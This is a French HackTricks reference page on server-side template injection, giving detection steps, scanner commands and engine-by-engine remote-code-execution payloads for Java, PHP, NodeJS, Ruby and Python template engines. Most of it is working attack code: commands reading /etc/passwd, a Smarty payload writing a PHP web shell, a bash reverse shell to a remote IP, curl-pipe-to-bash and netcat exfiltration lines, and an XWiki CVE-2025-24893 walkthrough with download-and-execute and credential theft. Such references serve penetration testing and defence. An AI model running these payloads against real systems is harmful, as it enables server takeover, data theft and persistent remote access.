SSTI (Server Side Template Injection)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que SSTI (Server-Side Template Injection)

Server-side template injection est une vulnérabilité qui se produit lorsqu’un attacker peut injecter du code malveillant dans un template qui est exécuté sur le server. Cette vulnérabilité peut être présente dans diverses technologies, y compris Jinja.

Jinja est un moteur de template populaire utilisé dans les applications web. Considérons un exemple qui démontre un extrait de code vulnérable utilisant Jinja:

output = template.render(name=request.args.get('name'))

Dans ce code vulnérable, le paramètre name de la requête de l’utilisateur est passé directement dans le template via la fonction render. Cela peut potentiellement permettre à un attaquant d’injecter du code malveillant dans le paramètre name, conduisant à une server-side template injection.

Par exemple, un attaquant pourrait construire une requête avec un payload comme celui-ci :

http://vulnerable-website.com/?name={{bad-stuff-here}}

Le payload {{bad-stuff-here}} est injecté dans le paramètre name. Ce payload peut contenir des directives de template Jinja permettant à l’attaquant d’exécuter du code non autorisé ou de manipuler le moteur de templates, gagnant potentiellement le contrôle du serveur.

Pour prévenir les vulnérabilités server-side template injection, les développeurs doivent s’assurer que les entrées utilisateur sont correctement sanitisées et validées avant d’être insérées dans les templates. Implémenter une validation des entrées et utiliser des techniques d’échappement contextuelles peut aider à atténuer le risque lié à cette vulnérabilité.

Détection

Pour détecter Server-Side Template Injection (SSTI), dans un premier temps, fuzzing the template est une approche simple. Cela consiste à injecter une séquence de caractères spéciaux (${{<%[%'"}}%\) dans le template et à analyser les différences de réponse du serveur entre des données normales et ce payload spécial. Les indicateurs de vulnérabilité incluent :

  • Des erreurs levées, révélant la vulnérabilité et potentiellement le moteur de template.
  • Absence du payload dans la réflexion, ou éléments manquants, ce qui implique que le serveur le traite différemment des données normales.
  • Plaintext Context : différencier de XSS en vérifiant si le serveur évalue les expressions de template (par ex., {{7*7}}, ${7*7}).
  • Code Context : confirmer la vulnérabilité en modifiant les paramètres d’entrée. Par exemple, modifier greeting dans http://vulnerable-website.com/?greeting=data.username pour voir si la sortie du serveur est dynamique ou fixe, comme greeting=data.username}}hello renvoyant le nom d’utilisateur.

Phase d’identification

L’identification du template engine implique d’analyser les messages d’erreur ou de tester manuellement différents payloads spécifiques à un langage. Des payloads courants provoquant des erreurs incluent ${7/0}, {{7/0}}, et <%= 7/0 %>. Observer la réponse du serveur à des opérations mathématiques aide à identifier précisément le moteur de template.

Identification par payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Outils

TInjA

un scanner SSTI + CSTI efficace qui utilise des polyglots novateurs

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

une table interactive contenant les template injection polyglots les plus efficaces ainsi que les réponses attendues des 44 template engines les plus importants.

Exploits

Générique

Dans cette wordlist vous pouvez trouver des variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Récupérer les variables d’environnement du système

${T(java.lang.System).getenv()}

Java - Récupérer /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Vous pouvez tester vos payloads sur https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ ne fonctionne que sur les versions de Freemarker inférieures à 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Plus d’informations

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Plus d’informations

Thymeleaf

Dans Thymeleaf, un test courant pour détecter les vulnérabilités SSTI est l’expression ${7*7}, qui s’applique aussi à ce moteur de templates. Pour un potentiel remote code execution, des expressions comme les suivantes peuvent être utilisées :

  • SpringEL :
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL :
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf requiert que ces expressions soient placées dans des attributs spécifiques. Cependant, inlining d’expression est supporté pour d’autres emplacements de template, en utilisant une syntaxe comme [[...]] ou [(...)]. Ainsi, un simple payload de test SSTI pourrait ressembler à [[${7*7}]].

Cependant, la probabilité que ce payload fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre TemplateResolver pour créer des templates à partir de chaînes de caractères à la volée, ce qui est peu courant.

Thymeleaf propose aussi le prétraitement d’expression, où les expressions entre double underscores (__...__) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d’expressions, comme démontré dans la documentation de Thymeleaf :

#{selection.__${sel.code}__}

Exemple de vulnérabilité dans Thymeleaf

Considérez l’extrait de code suivant, qui pourrait être susceptible d’exploitation :

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Cela indique que si le moteur de templates traite ces entrées de manière incorrecte, cela pourrait entraîner une remote code execution accédant à des URLs telles que :

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Plus d’informations

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Contourner les filtres

Plusieurs syntaxes d’expression de variables peuvent être utilisées : si ${...} ne fonctionne pas, essayez #{...}, *{...}, @{...} ou ~{...}.

  • Lire /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personnalisé pour la génération de payloads
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Plus d’informations

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ancienne version de Pebble ( < version 3.0.9) :

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nouvelle version de Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava est un projet open source développé par Hubspot, disponible sur https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Corrigé par https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Plus d’informations

Hubspot - HuBL (Java)

  • {% %} délimiteurs d’instruction
  • {{ }} délimiteurs d’expression
  • {# #} délimiteurs de commentaires
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Recherchez “com.hubspot.content.hubl.context.TemplateContextRequest” et découvrez le Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Plus d’informations

Langage d’expression - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Le Expression Language (EL) est une fonctionnalité fondamentale qui facilite l’interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les managed beans) dans JavaEE. Il est largement utilisé dans plusieurs technologies JavaEE pour simplifier cette communication. Les principales technologies JavaEE utilisant EL incluent :

  • JavaServer Faces (JSF) : utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes.
  • JavaServer Pages (JSP) : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de page aux données applicatives.
  • Contexts and Dependency Injection for Java EE (CDI) : EL s’intègre à CDI pour permettre une interaction fluide entre la couche web et les managed beans, assurant une structure applicative plus cohérente.

Consultez la page suivante pour en savoir plus sur l’exploitation des interpréteurs EL :

EL - Expression Language

Groovy (Java)

Les contournements du Security Manager suivants proviennent de cette analyse.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) rend des flux de recherche RSS non authentifiés via la macro Main.SolrSearch. Le handler prend le paramètre de requête text, l’encapsule en wiki syntax et évalue les macros, donc injecter }}} suivi de {{groovy}} exécute du Groovy arbitraire dans la JVM.

  1. Fingerprint & scope – Lorsque XWiki est reverse-proxied derrière un routage basé sur l’hôte, fuzzez l’en-tête Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) pour découvrir le vhost du wiki, puis parcourez /xwiki/bin/view/Main/ et lisez le footer (XWiki Debian 15.10.8) pour identifier la build vulnérable.
  2. Trigger SSTI – Faites une requête vers /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. L’élément RSS <title> contiendra la sortie Groovy. Toujours encoder en URL tous les caractères pour que les espaces restent %20 ; les remplacer par + fait renvoyer HTTP 500 par XWiki.
  3. Run OS commands – Remplacez le corps Groovy par {{groovy}}println("id".execute().text){{/groovy}}. String.execute() lance la commande directement avec execve(), donc les métacaractères du shell (|, >, &) ne sont pas interprétés. Utilisez plutôt un pattern download-and-execute :
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (le script contient la logique du reverse shell).
  1. Post exploitation – XWiki stocke les identifiants DB dans /etc/xwiki/hibernate.cfg.xml; le leak de hibernate.connection.password fournit des mots de passe système réels réutilisables via SSH. Si l’unité de service définit NoNewPrivileges=true, des outils comme /bin/su n’obtiendront pas de privilèges supplémentaires même avec des mots de passe valides, pivotez donc via SSH plutôt que de compter sur des binaires SUID locaux.

Le même payload fonctionne sur /xwiki/bin/get/Main/SolrSearch, et la stdout Groovy est toujours intégrée dans le titre RSS, ce qui facilite le scripting de l’énumération des commandes.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Plus d’informations

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format de template

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Plus d’informations

Plates (PHP)

Plates est un moteur de templates natif de PHP, s’inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates exploite du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP.

Contrôleur :

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Modèle de page :

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Modèle de mise en page:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Plus d’informations

PHPlib et HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB est identique à PHPlib mais porté sur Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Plus d’informations

Autres PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Plus d’informations

patTemplate (PHP)

patTemplate moteur de templates PHP non compilant, qui utilise des balises XML pour diviser un document en différentes parties

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Plus d’informations

Handlebars (NodeJS)

Path Traversal (plus d’informations here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erreur
  • ${7*7} = ${7*7}
  • Rien
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Plus d’informations

JsRender (NodeJS)

ModèleDescription
Évaluer et afficher la sortie
Évaluer et afficher la sortie encodée en HTML
Commentaire
etAutoriser le code (désactivé par défaut)
  • = 49

Côté client

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Côté serveur

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Plus d’informations

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemple de rendu côté serveur

var pugjs = require("pug")
home = pugjs.render(injected_page)

Plus d’informations

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Aucune sortie
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erreur
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Plus d’informations

Autres NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Plus d’informations

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Plus d’informations

Autres (Ruby)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Consultez la page suivante pour apprendre des astuces sur arbitrary command execution bypassing sandboxes en python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Plus d’informations

Jinja2 (Python)

Site officiel

Jinja2 est un moteur de templates complet pour Python. Il prend en charge l’unicode complet, propose un environnement d’exécution sandbox intégré optionnel, est largement utilisé et est distribué sous licence BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format de template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE ne dépendant pas de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Plus de détails sur la façon d’abuser de Jinja:

Jinja2 SSTI

Autres payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Plus d’informations

Autres (Python)

